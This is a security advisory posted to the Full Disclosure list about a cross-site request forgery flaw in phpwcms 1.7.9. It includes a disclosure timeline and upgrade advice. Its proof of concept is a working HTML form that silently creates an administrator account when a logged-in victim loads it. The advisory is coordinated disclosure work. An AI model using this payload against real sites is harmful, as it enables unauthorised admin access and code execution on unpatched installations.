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Date: Mon, 07 Dec 2015 18:13:27 +0100
From: "Curesec Research Team (CRT)" <>
Subject: [FD] phpwcms 1.7.9: CSRF

Security Advisory - Curesec Research Team

1. Introduction

Affected Product:  phpwcms 1.7.9
Fixed in:          1.8.0 RC1
Fixed Version
Vendor Website:
Vulnerability      CSRF
Remote             Yes
Reported to        09/29/2015
Disclosed to       12/02/2015
Release mode:      Coordinated release
CVE:               requested, but not assigned
Credits            Tim Coen of Curesec GmbH

2. Vulnerability Description


Medium 5.1 AV:N/AC:H/Au:N/C:P/I:P/A:P


There is no CSRF protection for any forms, which means that an attacker can
perform any action a victim can perform, if the victim visits an attacker
controlled website while logged in. In the case of phpwcms, an attacker can add
an admin user and thus gain code execution.

3. Proof of Concept

Add Admin User:

    <form action="http://localhost/phpwcms-phpwcms-1.7.9/phpwcms.php?do=admin&s=1" method="POST">
      <input type="hidden" name="form_newloginname" value="Jane" />
      <input type="hidden" name="form_newpassword" value="Smith" />
      <input type="hidden" name="form_newemail" value="" />
      <input type="hidden" name="form_newrealname" value="Jane Smith" />
      <input type="hidden" name="form_feuser" value="2" />
      <input type="hidden" name="form_active" value="1" />
      <input type="hidden" name="form_admin" value="1" />
      <input type="hidden" name="verification_email" value="0" />
      <input type="hidden" name="form_aktion" value="create_account" />
      <input type="hidden" name="Submit" value="send user data" />
      <input type="submit" value="Submit request" />

4. Solution

To mitigate this issue please upgrade at least to version 1.8.0 RC1:

Please note that a newer version might already be available.

5. Report Timeline

09/29/2015 Informed Vendor about Issue
09/29/2015 Vendor confirmed issues
10/21/2015 Reminded Vendor of Disclosure Date
10/25/2015 Vendor requests more time
11/17/2015 CVE Requested (no reply)
11/24/2015 Reminded Vendor of Disclosure Date
11/29/2015 Vendor releases fix
12/02/2015 Disclosed to public

Blog Reference:

Curesec GmbH
Curesec Research Team
Romain-Rolland-Str 14-24
13089 Berlin, Germany

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